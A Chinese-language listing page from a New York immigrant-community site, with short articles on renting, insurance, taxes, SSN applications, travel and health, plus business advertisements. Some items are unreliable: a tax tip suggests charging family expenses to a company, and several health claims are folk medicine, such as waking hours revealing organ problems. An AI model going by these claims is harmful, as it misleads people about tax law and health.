大都会是美国知名的艺术博物馆，也是世界知名的博物馆。

位于美国纽约5号大道上的82号大街，是与英国伦敦的大英博物馆、法国巴黎的卢浮宫齐名的世界三大博物馆之一，馆藏超过三百万件艺术品。包括许多出众的古典艺术品、古埃及艺术品、几乎所有欧洲大师的油画及大量美国视觉艺术和现代艺术作品。除此，馆里还珍藏着大量的非洲、亚洲、大洋洲、拜占庭和伊斯兰艺术品，以及各国乐器、服饰、武器等展品。

2019-08-25 / by happy1 / in 律师/移民/金融, 移民生活

这样的房子千万别住

今年，一位华人郭姓男子把自己93万买下的三家庭公寓改造成18个卧室出租，这当中涉及了一系列违法行为，结果被市楼宇局开出了32张传票，还有一张23万美元的罚单。

毕竟这样的改造房子，处处是安全隐患，一旦发生了危险，就会让人追悔莫及。比如2017年11月，纽约布鲁克林一处华人商住两用楼发生火灾，并造成2人死亡2人受伤。

在此特别提醒新移民、新来的留学生，部分租客为租到便宜的房子，就住进了非法出租的房屋，但却完全不知道危险正悄悄降临，所以租房时看到这样的房子最好绕道！

2019-08-25 / by happy1 / in 律师/移民/金融, 汽车/房产/保险, 租房, 移民生活

不查收入 Quontic银行

2019-08-24 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

美國小商家保險與汽車保險如何投保

纽约/法拉盛/商业保险 /房屋保险/汽车保险/劳工保险 /餐馆保险 /超市保险 /人寿保险/退休保险/Auto Insurance/Home Insurance/Commercial Insurance

当意外发生时，怎样能够保障小商业主和顾客双方的利益，把损失降到最低呢？投保商业保险时我们需要注意哪些问题？接下来请听听专业保险业者的介绍。

安泰保险电话：718-321-8812 / 718-321-8813
小商业主保险的相关问题：当意外发生时，怎样能够保障小商业主和顾客双方的利益，把损失降到最低呢？投保商业保险时我们需要注意哪些问题？

您有任何问题都可以与安泰保险公司联系，安泰保险是一家专业的保险公司，开业18年资历雄厚，位于法拉盛的中心地带。公司专业人员经验非常丰富、细心、负责，会站在客户的角度，为您提供最经济，保险赔偿额最高，会以一站式全方位服务为您选择最合适的各种保险产品。

安泰保险 Cinsurance Agency Inc.
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2019-08-24 / by happy1 / in 二手车, 保险/贷款, 律师/移民/金融, 房屋买卖, 汽车/房产/保险, 移民生活, 美国新闻

注意啦！美国移民新规10月生效

2019-08-24 / by happy1 / in 律师/移民/金融, 移民/签证/护照, 移民生活, 美国新闻

美国大峡谷旅游攻略

科罗拉多大峡谷(Grand Canyon)全长446公里，谷底最深为1800米，是世界上最大的峡谷之一。从高空俯瞰可以完整地欣赏这条大地的裂缝。而且在南缘附近的大峡谷机场乘客中心买票坐直升飞机可鸟瞰大自然创造的奇迹。

2019-08-24 / by happy1 / in 律师/移民/金融, 移民生活

美国报税问题全解析

2019-08-23 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

想自己做西餐？这13种调味香料你不可不知

认识常見西餐调味香草

调味香草就好比中国的葱姜蒜在西方生活中无处不在。从烹饪、花草茶到香薰、烘培等都能看到调味香草的身影。下面介绍的都是常见香草，也可在花园或窗台种植。

2019-08-23 / by happy1 / in 居家生活, 律师/移民/金融, 汽车/房产/保险, 生活/美食/家居, 移民生活

华人移民在美国的省税秘诀

*在美国如何合理省税

第一，在成为永久居民之前所有的海外非增值资产都不需要向美国政府交税。
第二，收入低、财产少的配偶做主申请人。
第三，海外收入有免税额，中美税收可互抵。
第四，规避遗产税第五，还可以成立公司，将家庭部分花费计入公司营运费用，减少税收。
第六，退税与减免是有区别的。
第七，移民前考虑财产的处理，规划资金如何流入美国。

2019-08-23 / by happy1 / in 律师/移民/金融, 移民生活

如何在美国申请社会安全号码

在美国生活，社会安全号码(Social Security number，SSN)是很重要的。是美国联邦政府发给本国公民、永久居民、临时（工作）居民的一组九位数字号码，终身使用。

社会安全号码
它的功能最主要的是作为美国政府记录每个国民工作与报税的依据。同时，民间机构也用它来记录每个人的资料。在美国，社会安全号码可以说是最常用、最重要的个人身份证明，如装电话、考驾照、开帐户、找工作等，均需出示社会安全号码。
居住在美国的非美国公民，通常，只有获得国家安全部（DHS）工作许可的非公民才能申请社会安全号码。申请社安号码的方法公布在联邦政府刊物第05-10096号

如何取得社会安全号码
要取得社会安全号码，首先要填一张称为SS-5表格，同时要附上一些证件。
如何取得表格
1)上网，网址是http://ssa.gov/multilanguage/SS-5-INS…
2)打电话，号码是1-800-772-1213
3)亲自去当地的社会安全办事处。

申请时，申请者所交的证件必须是原件，证明自己的年龄、身份、是公民或合法居留者。社安局将会与发件机关核查，合法居留者的身份将会与国土安全部核证。当一切都核查完毕之后，会很快的发给你社安号码。
申请费用多少？
免费，任何有关社安方面的服务都是免费的，如果有人向你收费，你可打电话报告。号码是1-800-296-0271。

2019-08-23 / by happy1 / in 律师/移民/金融, 移民生活

玩迪士尼乐园也是个细致活？了解这些让你省时省钱

游玩省时妙招以及注意事项

1. 建议住在迪士尼附近
2. 早起晚归 – 开园前走的快些 + 玩到闭园再回酒店
3. 提前熟悉迪士尼地图
4. 提前熟悉迪士尼APP （查看当日游行/烟花表演时间/排队等待时间等）
5. 使用FASTPASS
6. 游玩顺序不太重要，根据APP显示的时间随机应变更好
7.迪士尼禁止外带食品和饮料，但可以带水壶，在园区内接水喝
8.迪士尼禁止带自拍杆，折叠椅子，行李箱等。
9.给小朋友带一个联系方式卡片，走散了好使用

迪士尼乐园的FASTPASS
FASTPASS 是什么？
迪士尼乐园的一些热门项目会设置快速通道
要想走快速通道，就必须持有 FASTPASS
FASTPASS 可以在项目入口的机器上免费领取
或者付10美金，开通手机APP的领取功能，在手机上领取
每天的 FASTPASS 数量有限，且每次领取 FASTPASS 有强制的时间间隔
现场领取 FASTPASS 的方法：
1.项目入口处有机器，插入你的票，会打印出 FASTPASS票，上面有return time返回时间。
2.按照时间返回，直接走项目的FASTPASS入口即可
1个FASTPASS只能1个人用，所以每人都要领取

2019-08-23 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

美国生活经商遇到意外怎么办？

如果遇到类似情况我们要如何处理呢?

这里安泰保险也提示大家：我们的商业保险的目的是将风险转移给保险公司。一旦有了商业保险，我们便可以更轻松地专注于自己所擅长的的业务。而且，如果发生不利的情况，承担相关风险的保险公司将承担一定比例的费用。

车保险的相关问题：

另外，车保险也是大家非常关心的问题，在美国开车有三样东西绝不能少，那就是驾照、行车执照和保险卡。一旦发生车祸事故，赔偿金额和医药费都是很昂贵的，所以没有车保就等于没有保障。而且在美国大部分的州，无保险开车也是违法的。购买车保险首先要看您是商业用途还是私人用途，商业用途就要购买商业车辆保险，私人用途要购买私人车辆保险。

车保险分为两大种类，分别是第三方责任险和全险：

1，第三方责任险

（张女士的介绍，有两段，一开始说了一段，采访的时候后面还补了一段，注意我一开始的介绍和张女士有重合，把她的话去掉，直接介绍第三方责任险）

2，全险

这里安泰保险还提示大家：

1，向同家公司投保多种保险：如果你有几辆车，把保险集中在一家公司这样可省钱。我们可以询问保险公司投保多重保险的最低价，然后再决定怎么样投保更划算。

2，旧车不需投保撞车险：而且汽车眨值很快，撞车险也就不值得投保。如果车祸后你的车需要修理或换车，保险公司只会支付车的市值。若你的车较旧，你的自付额又高，继续投保撞车险只是浪费钱。

3，改善信用：还有一点，就是很多保险公司决定费率时考虑你的信用，提高信用分数有助降低保费。

以上是关于小商业主保险和汽车保险的详细情况，如果您有任何问题都可以与安泰保险公司联系，安泰保险是一家专业的保险公司，开业18年资历雄厚，位于法拉盛的中心地带。公司专业人员经验非常丰富、细心、负责，会站在客户的角度，为您提供最经济，保险赔偿额最高，会以一站式全方位服务为您选择最合适的各种保险产品。

2019-08-19 / by happy1 / in 二手车, 保险/贷款, 律师/移民/金融, 汽车/房产/保险, 移民生活, 美国新闻

在机场这些事情要多注意！

2019-08-17 / by happy1 / in 其它

在costco购物这7种错误不要犯

2019-08-17 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

敷面膜用对方法了么？这些真相 99%的人都不知道！

2019-08-17 / by happy1 / in 其它

由医生研制的养生菜肴既美味又健康独岛餐厅

2019-08-17 / by happy1 / in 其它

室内空气污染超可怕！几招消除隐形威胁

空气质量的好坏可会给我们的身体带来重大的健康隐患：长期接触被污染的空气，可导致肺癌、哮喘发作，也能损伤心血管、危害生殖系统、影响认知功能。

化学污染物

麻省理工学院学者2013年发表的一项研究发现，车辆、工业和其它空气污染每年造成约20万人死亡，其中，仅车辆排放就造成53,000人早死，比车祸死亡人数多15,000人。

而研究表明，室内化学物质可能同样有害。一些室内污染物，如地球的天然气体“氡气”，可通过地基的裂缝渗入建筑物。要保护宝贵的呼吸空间，也须小心提防铅、石棉等遗传性毒素及霉菌的侵入。然而，多数室内毒素都是我们人自己带进来的。

目前人类的生产约用到82,000种化学品，其中85%没有相关的健康数据。即使是我们用来使气味清新的日用品，如衣物烘干纸、合成香料和清洁用品，都可能是弊大于利。

保护个人空间

据哈佛健康网站（Harvard’s For Health）发布的室内环境健康指南，选择室内产品时，有三大类化学品需要特别小心：

1. 阻燃剂：应用于家具、建筑保温材料及儿童玩具、汽车座椅等产品。许多这类化学物质可干扰生殖系统、甲状腺功能以及内分泌系统的诸多其它方面。

2. 不沾涂料：用于家具、地毯、服装、不沾炊具和油漆，以及其它防油防水产品。

3. 增塑剂：特别是邻苯二甲酸酯——一种使产品变得柔韧的化学品，在乙烯基地板砖、人造革，甚至一些品牌的个人护理产品如指甲油、发胶和润肤露中都有应用。

威胁健康的常见室内污染物还包括氮氧化物、一氧化碳、颗粒物和挥发性有机化合物（VOC）如甲醛、柠檬烯和苯。这些污染物可能来自家里的打印机、清洁用品、个人护理产品、油漆和农药等等。

通风很重要

空气不流通，污染物集中在室内，居住在这种“病态建筑”里的人可能会感到眼部刺激、头痛、呼吸困难等症状。

学界已发现，在空气流通良好的建筑物中生活、工作或上课的人，比身处通风不良环境的人更健康、更有效率。如美国加州一项研究发现，在通风良好的教室里，学生们更为平静，专注时间更长。其它研究则表明，在通风差的建筑中居住的人，请中短期病假、发生哮喘和呼吸道感染的概率更高。

改善空气质量的方法

许多渗透到我们环境中的化学物质是看不见也闻不到的。除了对化学品敏感的个别人，多数人在有人生病前都不会想到是室内空气在作怪；即使有人生病，我们可能也不会与室内空气质量关联起来。

我们可以采取一些简单的防护措施来确保室内空气清新。除了改善通风、少接触排放有毒化学气体的物品之外，回家时也务必“洗手、脱鞋，别把室外污染物带回家”。

另一个有效方法是少接触空气中的颗粒物。煎炒烹炸就会产生颗粒物，建议要安装使用抽油烟机。

2019-08-17 / by happy1 / in 医疗健康, 家具家电, 生活/美食/家居

初到美国你一定要知道这些！

信用卡

常见的信用卡基本都是全球通用的。事实上，如果没有信用卡都没办法租车或进行电话预约（不过一些航班要求信用卡账单地址是在美国境内的——这对刚到美国准备订美国国内航班的人来说可能是个麻烦）。强烈建议随身携带至少一张信用卡，以备不时之需。

自动取款机

大部分银行的自动取款机是全天候可用的，在商场、机场、杂货店和便利店也能找到。大多ATM会对每次交易收取2.5美元或更多的服务费用，另外，开卡行也可能会额外收费。在ATM上使用信用卡取现通常会被扣取大笔费用，请事先与您的信用卡公司进行确认。

外国游客务必向银行或信用卡公司询问清楚有关在美国ATM上使用其信用卡的事项。如果决定靠信用卡来解决用钱问题，最好准备好多张信用卡必分开存放。不管到了哪里，都可以正常的汇率进行ATM交易。离家之前，请将出行计划告知银行和信用卡提供方，以免非常规开支引发欺诈预警，这很可能导致账户被临时冻结。另外注意小额的交易可能会拒收面值超过20的钞票，最好事先准备些零钱。

电话卡

预付电话卡对精打细算的游客来说是一个很好的选择。仔细阅读卡上的小字，因为许多卡在基本费率的基础上还附加了例如“激活费”或“连接费”等隐蔽的费用。

电话拨号

在美国，所有电话号码都由3位数的区号接7位数的当地号码组成。一般来说，在呼叫同区号电话时，只需拨打后面的7位，不过在一些地方即使是本地呼叫也要求拨打整个10位数的号码。

拨打长途电话时，请拨1+区号+号码。如果不确定该号码是本地还是长途的（一直有新的区号加入，即使本地居民也搞不清楚），尝试其中的一种方式，如果不对通常会有录音提示。

免费电话号码是以800、888、877和866开头的，并且在拨打时需要在号码前加1。大部分在美国内可用，一些只能在州内呼叫，还有一些只能从州外呼叫。只有拨号之后才能知道它的类型。900系列和一些其他的区号是按分钟收费的，价格不菲，内容一般是占星、笑话等。

当从国外拨入时，1是美国的国家号（这与加拿大的相同，不过这两国之间的通话仍是采用国际通话费率）。

在美国要拨打国际电话时先拨011（后接国家号、区号和电话号码）

00是国际电话的查号服务

411是国内电话查号服务

800-555-1212是免费电话的查号服务

2019-08-17 / by happy1 / in 律师/移民/金融, 移民生活

有机食品购买指南

2019-08-17 / by happy1 / in 其它

生活须知：淋浴姿势怎样才正确？

2019-08-17 / by happy1 / in 医疗健康

来美生活旅游，一定要知道这些

2019-08-17 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

熬夜伤身精神差补救方法快收藏

2019-08-13 / by happy1 / in 医疗健康

华人司机被莫名吊销执照原因竟是吃了这个

2019-08-13 / by happy1 / in 汽车, 汽车/房产/保险

还在为房屋铺地毯还是装地板烦恼吗

2019-08-13 / by happy1 / in 律师/移民/金融, 汽车/房产/保险, 移民生活, 美国新闻

《水浒》作者施耐庵最喜欢的人物

2019-08-11 / by happy1 / in 其它

亚马逊Prime会员的13个福利你可能不知道

2019-08-11 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

在Costco加油很合算？

2019-08-11 / by happy1 / in 律师/移民/金融, 汽车, 汽车/房产/保险, 移民生活, 美国新闻

夏天10个用得着的小妙招

2019-08-11 / by happy1 / in 其它

让人际关系一百八十度大转变的习惯

2019-08-11 / by happy1 / in 其它

总看电脑眼干眼涩怎么办？

2019-08-11 / by happy1 / in 医疗健康

威胁视力的最大元凶你知道吗？

2019-08-11 / by happy1 / in 医疗健康

养生五谷粥的做法

2019-08-11 / by happy1 / in 医疗健康

避免睡前5种坏习惯

2019-08-11 / by happy1 / in 医疗健康

办张美国银行卡原来好处这么多

2019-08-11 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

了解美国各州的消费税

2019-08-11 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

美国名嘴带你了解10个最易中招的诈骗方式

2019-08-11 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

刷牙流血小心牙周病找上你

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微信上买折扣机票怎料刚下机就被捕？！

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教你来美如何选花旗参？

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汽车报废也要拆下的4个最值钱的零件

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如何买到物超所值好吃牛排

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在美国买二手车需要缴纳的税费

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7招分辨好酱油

2019-08-11 / by happy1 / in 其它

在美国遭遇家暴怎么办？

2019-08-11 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

地震来了怎么办？

2019-08-11 / by happy1 / in 其它

买家具前必看

2019-08-11 / by happy1 / in 其它, 家具家电, 生活/美食/家居

如何才能在坐飞机时避免行李费？

2019-08-11 / by happy1 / in 其它

台湾最火伴手礼登陆纽约老农庄牛肉干

40年独家秘方

最好吃的牛肉干

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在这非常时期，希望大家都平安健康！

很多人在问老农庄是否有营业？有的！

老农庄是政府归类于 “ 民生必需品EssentialBusiness”

我们老农庄肉干在这段非常时期里，会持续制造出安全、好吃的肉干来满足消费者。

欢迎大家上网订购 www.oldcountryjerky.com

「蒜味牛肉干」新品上市，欢迎订购

老农庄推出新口味“ 蒜味牛肉干”，在预售期间倍受大家喜爱，一扫而空！4/30开始正式登场，没买到的朋友现在可以上网订购。

老农庄牛肉干 Old Country Jerky 独特的制作流程和四大坚持

坚持以传统手工制程，严选上等牛肉食材，使用名扬四海的金门高粱酒为主要腌制原料之一。佐以独家配方，悉心调制，不仅完美保留牛肉干香甜肉质，丝丝入口层次丰富，令人上瘾，片片完整，肉质柔嫩多汁。

老农庄牛肉干 Old Country Jerky促销优惠：

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老农庄古乡/老农庄牛肉干（Old Country Jerky）

纽约销售点

总部

地址：49 Atlantic Ave，Lynbrook，NY11563

电话：929-391-7213

世界書局

法拉盛:136-19 38th Ave, Flushing, NY 11354

電話： 718-445-2661

NewTown Pharmacy
瑞康藥房
8615 Justice Ave
Elmhurst, New York, 11371
電話：718-760-2600

AllShare
樂享
40-24 College Point Blvd
Flushing Skyview Mall, R3

Starside Drugs
安康寧藥房
4115 Kissena Blvd
Flushing, NY 11355
電話：718-888-0893

ChiMaMa Noodle House
吉媽媽麵館
45-37C Bell Blvd
Bayside, NY, 11361
電話：718-631-8881

Bearin Wheel Pie
車輪餅
127A Walker Street
New York, NY, 10013
電話：646-490-4873

Po Wing Hong Food Market

（寶榮行, 唐人街）

49 Elizabeth Street, NY, 10013.

電話：212-966-1080

Tokyo Mart (東京市場, 唐人街)

91 Mulberry Street, NY, 10013.

電話：212-962-6622

营业：周二，四，六，日上午11点至下午6点

网址：https://oldcountryjerky.com/

脸书：https://www.facebook.com/NYoldcountryjerky

2019-08-11 / by happy1 / in 其它

室内装修纠纷多

2019-08-10 / by happy1 / in 汽车/房产/保险

在美国买哪家航空公司的机票最划算？

2019-08-10 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

不查收入贷款成华人首选

2019-08-10 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

十项辨别华人假结婚的标准

中华律师楼王雪洁律师电话： 718-461-8461 纽约民事诉讼律师纽约离婚律师纽约移民入籍

2019-08-10 / by happy1 / in 律师/移民/金融, 移民/签证/护照, 移民生活, 美国新闻

糖尿病人这一类水果可以多吃！

2019-08-10 / by happy1 / in 医疗健康

还在为失眠困扰？

2019-08-10 / by happy1 / in 医疗健康

如何选烘干机

2019-08-10 / by happy1 / in 其它

乘坐邮轮需要注意的事情

2019-08-10 / by happy1 / in 其它

瓶装水与自来水哪种饮水更安全？

2019-08-10 / by happy1 / in 医疗健康, 居家生活, 汽车/房产/保险, 生活/美食/家居

演绎忠义豪情的水浒传奇

2019-08-10 / by happy1 / in 其它

全球一半的胃癌患者都在中国

2019-08-10 / by happy1 / in 医疗健康

法拉盛韩餐推荐“沧海遗珠”

2019-08-10 / by happy1 / in 其它

房屋装修须知

2019-08-10 / by happy1 / in 汽车/房产/保险

在美国居家过日子省钱有妙招

美国家庭省钱〝绝招〞
一：找食材自配食物减少浪费
二：家庭日常消费量入为出

三：买二手货
四：夏天冷气保持恒温华氏76-80度
五：关于学习
六：留意商品广告信息
七：关于汽车、汽车保险及油耗
八：使用优惠券（coupon）
九：自己的房子自己打理

2019-08-08 / by happy1 / in 二手车, 保险/贷款, 律师/移民/金融, 汽车/房产/保险, 移民生活, 美国新闻

糖尿病人这1类水果可以多吃！饮食注意6件事

1. 莓类水果适合糖尿病人，热带水果宜少吃。

2. 饮品以水为主。

3. 糖类要注意分量，但不能不吃。

4. 吃优质蛋白质。

5. 油类最好选橄榄油、苦茶油等。

6，盐不能多吃。

2019-08-08 / by happy1 / in 医疗健康

教育孩子的十大误区你也中招了吗？

教育儿童应避免的十大错误
1.过度宠爱
2.未适时教导自律
3.未和老师保持联系
4.过度地奖励
5.未建立孩子的责任感
6.不贯彻承诺
7.未建立良好夫妻互动模式
8.未设立合理的期望
9.未教导孩子「一分耕耘，一分收获」的人生观
10.未让孩子保有自我特性

2019-08-08 / by happy1 / in 其它

坐飞机点餐有技巧

飞机上点餐需要了解哪些技巧呢？

一、吃什么，乘飞机应该点什么？

建议大家在飞机上点餐应该以清淡、蔬菜为主，因蔬菜中含有更多的纤维素及维生素，这些元素可促进人体血液循环的加快。如果乘客在飞机上血液循环的较慢，就会引起头晕、恶心等多种不适症状，而多食用一些清淡的、蔬菜类的食物可以促进血液循环，从而降低乘机出现的不适感，让乘客更舒心的享受旅程。
乘飞机不应该点什么？英爱尽量少点一些油腻类的食物，特别对于可能出现晕机症状的乘客，油腻类食物要尽量减少。油腻类食物会让身体的负担较重，加之在声音、气压的影响下，乘客可能会因为油腻而出现更为严重的耳鸣、呕吐现象，所以减少油腻类食物可以让自己更舒适的乘机。

二、吃多少
在飞机上点餐还需要注意，不要点太多，不要吃太多，点餐的量可以是平常饭量的一半，因为吃的太饱或者太撑，会加重乘机过程中的不适。
一些乘客乘坐飞机会出现头晕、头疼、恶心、呕吐等现象，而在乘坐其它交通工具时不会出现类似的状况，大多数情况下就是因为胃部食物太多，饱腹感增加了身体的负担，加上气压的影响，所以晕机的现象由此加重。

特别提醒：偏重热量高的食物。在飞机上点餐注意充足热量的摄取，尽量点一些热量相对较高的食物，像面包、瘦肉、米饭这些。因乘坐飞机会因气压的变化导致体内热量的消耗比在陆地上更快，所以为了保持体内热量的平衡，可以多食用一些热量好的食物，以免因体内热量消失的太快而出现不适感。特别是在冬季，要注意以高热量食物为主，否则乘客可能会因体内热量消耗太快而出现感冒等不适症状。

总之，乘坐飞机不能想吃什么就吃什么，也不能想吃多少就吃多少，饮食的量要注意，食物的种类也要注意，蔬菜、面包、米饭、清淡肉类、牛奶、奶酪等这些是首选，咖啡、油炸等最好不要食用，想要健康饮食、舒适乘机，上面的这些点餐技巧您需要知道。

特别是那些有过相关病史的老年人更是要小心自己的健康。此外携带药物时可以选择液体药物，但要在登记之前像安检以及机组说明，经过同意之后再携带登机。

2019-08-08 / by happy1 / in 其它, 到美必看, 律师/移民/金融

美国小费的规矩初来乍到的你应该了解

2019-08-08 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

Costco购物省钱又省时间的小技巧

2019-08-08 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

西餐厅点餐完全攻略

西餐厅点餐完全攻略
前菜
前菜又称开胃菜，而“开胃”的意思，就是让食客打开味蕾，放松心情，愉悦地进入正式的用餐状态。

前菜点餐
好的西餐厅，无论前菜主菜，都会悉心烹调。因而不要省略前菜，否则你会错过很多美味；而直接吃主菜，也可能因为中国胃无法一下子适应西餐的大鱼大肉，而引起并不舒适的用餐感受。
如果是商务性质的多人就餐，可以点1-3道前菜，如果是单人享用，建议只点1道营养均衡口感清淡的沙拉即可。
主菜
主菜是一套西餐当中的重头戏，通常是鱼类或肉类，搭配少量的配菜。西方人爱吃的鱼类多为深海鱼。
甜点
甜点是一套西餐的收尾，在法语中的原意就是“清理餐桌”，最早是指主菜之后的水果和奶酪。

2019-08-08 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

带你了解水貂毛睫毛是如何嫁接的

2019-08-08 / by happy1 / in 其它

护照信息被盗会有什么危害如何应对？

现代社会有一种身份窃贼，即专门利用假身份或别人的身份去做一些坏事甚至犯罪。一旦这种行为得逞，很可能会给身份被利用的人带来不必要的麻烦。

根据网络安全情报公司Flashpoint的研究，护照数据可以在暗网以三种格式（功能）出售：1、数字扫描2、护照模板3、成品护照。

扫描价格从5～65美元不等；模板价格从29至89美元不等；成品价格则可能高达5,000美元。

在暗网上买一本专业级假护照，通常需要花上1,000到2,000美元，这不仅包括受害者被盗或被泄露的护照信息，还包括使用该护照在许多国家可以做的事情。

根据IBM网络安全小组X-Force Red负责人查尔斯‧亨德森（Charles Henderson）的说法，暗网研究人员已经看到了更为复杂的护照伪造品，犯罪分子可能需要花上3,000多美元买一本这种高端护照——带有外交关系等特殊功能。

美国国务院曾表示，护照信息泄露通常不会变成伪造护照，新护照有很多安全功能可以防止伪造，并强调人们不能单凭护照号码旅行。获得新护照可以帮助那些怀疑自己护照信息被盗的消费者，但他们也必须承担更新文件所需要的费用。

2019-08-08 / by happy1 / in 其它

餐厅如何点牛排

牛排的注意事项：
选牛种。澳洲和牛(Wagyu)，丰腴油润，软嫩松化。安格斯牛(Angus)，韧劲和嚼感更鲜明。有时菜单上也会标注“谷饲”或“草饲”，谷饲即谷物喂养，草饲即牧草喂养。谷饲牛的肉质会比草饲牛肥厚，一般澳洲和牛都是谷饲；而草饲牛则比谷饲牛更具风味，因为草饲比谷饲时间长，牛肉中累积的风味物质也就更多。

选部位。
选熟度:近生，一分熟，三分熟，五分熟，七分熟，全熟，
五分熟是最保险的，对“血色”没有心理阴影的还可以尝试三分熟。

油脂较少的菲力和肋眼建议三至五分熟，肉质较软嫩；老饕牛排、沙朗与腰脊肉油脂较多，建议五至七分熟；牛小排则因为富含油脂，是少数建议全熟的部位。

吃牛排应该配什么酱汁？吃牛排的时候，很多人会选择加上不同的酱汁调味。例如，法式牛排就特别注重酱汁的调配，用各式酱汁来凸显出牛排的味道。世界上最常见的牛排酱汁有：黑胡椒酱汁，由黑胡椒洋葱末及奶油熬制；蘑菇酱汁，由蘑菇青葱及少许雪莉酒调配而成；红葡萄酒酱汁，糖渍的红酒与葱段做成的酱汁

2019-08-08 / by happy1 / in 其它

华人带电子烟回国却惹了这么大麻烦？

2019-08-08 / by happy1 / in 其它

中国驾照在美国开车为什么会开罚单？

2019-08-08 / by happy1 / in 律师/移民/金融, 汽车, 汽车/房产/保险, 移民生活, 美国新闻

空调保养小知识如何才能省电又降温

2019-08-08 / by happy1 / in 其它

美白去皱为你打造完美人生

2019-08-08 / by happy1 / in 其它

压力过大疾病缠身小心甲亢

2019-08-08 / by happy1 / in 医疗健康

高档餐厅的品质只要自助烧烤的价格？！

2019-08-08 / by happy1 / in 其它

室外火炉挑选完全攻略

2019-08-08 / by happy1 / in 其它

冰箱的功能太强大了可能你只了解其中1%

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一盒牙粉就能消除口腔8种疾病这么神？

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美国最美线路

2019-08-08 / by happy1 / in 交通/旅游, 生活/美食/家居

美国交通罚单种类

2019-08-08 / by happy1 / in SAT/ACT, 二手车, 交通/旅游, 到美必看, 律师/移民/金融, 汽车/房产/保险, 生活/美食/家居, 留学/教育/求职, 移民生活, 美国新闻

出国工作遇到的问题

2019-08-08 / by happy1 / in 其它

这些特价日买机票省钱多多

2019-08-08 / by happy1 / in 其它

Airbnb别墅豪宅短租火爆全球

2019-08-08 / by happy1 / in 律师/移民/金融, 移民生活

降血压的10个饮食秘密

2019-08-08 / by happy1 / in 医疗健康

美国这九种经典食物你都吃过吗？

2019-08-08 / by happy1 / in 其它

教你几招有效的戒烟方法快收藏

2019-08-08 / by happy1 / in 医疗健康

不同时间惊醒代表不同部位出问题

半夜惊醒！不同时间惊醒代表不同部位出问题
*心律不齐会导致半夜惊醒
*2个时间段惊醒的可能原因

1、凌晨1～3点醒来可能是肝脏出问题
2、凌晨3～5点醒来可能是肺部出问题

*提高睡眠效率的方法

1、保证规律的作息时间
2、养成30分钟左右的午休习惯
3、缓解自己的压力

2019-08-08 / by happy1 / in 医疗健康

喝酒会脸红居然会患癌？

喝酒会脸红居然会患癌？
三五好友聚餐，几杯黄汤下肚后，有人的脸色会发热涨红，有人则面不改色，医师指出，喝酒会脸红，要小心罹患食道癌风险比正常人高，每天喝超过2瓶啤酒，风险恐增40倍。

医生表示，喝酒易脸红者，代表体内缺乏乙醛去氢酶，建议这群人应比一般人减少酒精摄取量，甚至应戒酒降低罹癌概率。
美国建议的酒精标准剂量是男性每天摄取14克酒精，大约是2瓶啤酒的量。
医生指出，正常男性一天喝超过标准剂量，罹癌风险会上升5倍，如果是喝酒易脸红族群，罹患食道癌比例比正常人高40倍，如果饮酒过量甚至会上升80倍。
根据最新的10大癌症死因，食道癌位居第九位，为何食道癌会快速夺命呢？主因有三大类：太晚被发现、肿瘤位置不佳及风险族群。
建议平时有喝酒、吃槟榔、抽烟，并且还有癌症家族史高风险的人，临床上如果有出现吞咽困难等症状，应及早到肠胃科门诊就诊，安排内视镜检查，以及早揪出食道癌。另外，透过基因检测，能早期发现自体酒精代谢基因缺乏，及早做好健康管理，避免摄取过多酒精。

2019-08-08 / by happy1 / in 医疗健康

这种剧痛不是牙痛，牙痛如何区分

这种剧痛不是牙痛原来是“三叉神经痛”

三叉神经痛不是牙痛！如何区分？

三叉神经痛好发于五十岁以上族群，女性多于男性。疼痛常发生于上、下颚，与牙痛相似，难以区分，很多病人往往拔了牙齿又抽了神经，才发现不是牙痛问题。

医生指出，若是疼痛范围不只单点，而是脸颊如电击、刀割般反复阵痛，且范围超过上下颚延伸到鼻翼、下眼周等，使用止痛药也无法缓解疼痛的话，就要怀疑可能是三叉神经痛。

三叉神经痛的治疗方法

引起三叉神经痛原因有多种，如血管压迫、脑部肿瘤、神经发炎与其它不明因素。治疗三叉神经痛，目前有手术、药物及介入性治疗等方法。

2019-08-08 / by happy1 / in 医疗健康, 肠胃科/儿科/家庭医生

美国投资移民门槛又涨了

EB-5投资移民新规
美国移民局（USCIS）7月24日正式公布对EB-5投资移民项目一系列重大修改，其中最主要的一项是将最低投资额从100万美元提升至180万美元，而区域中心（ETA）的最低投资额也对应地调整为90万美元，同时最低投资额度未来将每5年根据通货膨胀率自动加以调整。新规将于今年11月21日生效。

移民局网站的新闻稿中表示，这是EB-5项目自1993年以来首次做出最大的调整，目标是让这一项目符合国会立法的初衷，即为美国创造就业。除了调高和最低投资额外，新规还将确立「区域中心」的权力回收到国土安全部（DHS），避免州政府为了自己私利而有意将繁荣地区和一些不景气地区刻意合并为「高失业率」的区域中心。

此外，新规也将为已获批准的EB-5申请人保留优先权日期（优先权日期），若提交新申请，已获批准的申请人仍享有原先获批的优先权日期。同时，新规也明确了取消EB-5「有条件」绿卡限制的程序，比如一些「衍生」家庭成员取消限制的申请必须独立提出，但这一要求不包括主申请人在其取消限制申请中已经包括的家庭成员，同时为了方便申请人，将提供更加灵活的面试地点选择。

2019-08-08 / by happy1 / in 律师/移民/金融, 移民/签证/护照

离婚时住宅如何分配？带你了解离婚财产规划

婚姻住宅如何处置？离婚财产规划

双方同意时
首先，两个人都可以同意他们中的一个保留住房并购买他人的利益。要做到这一点，房子需要由经过认证的房地产评估师进行评估，以确定公平的市场价值。或者，各方可以就公平的市场价值达成一致。为了确定需要分配的净值，他们必须扣除房屋中任何未偿还的抵押物（如抵押）的金额。在某些司法管辖区，即使持有房屋的人没有立即出售意向，房地产佣金也会在确定净值时扣除。
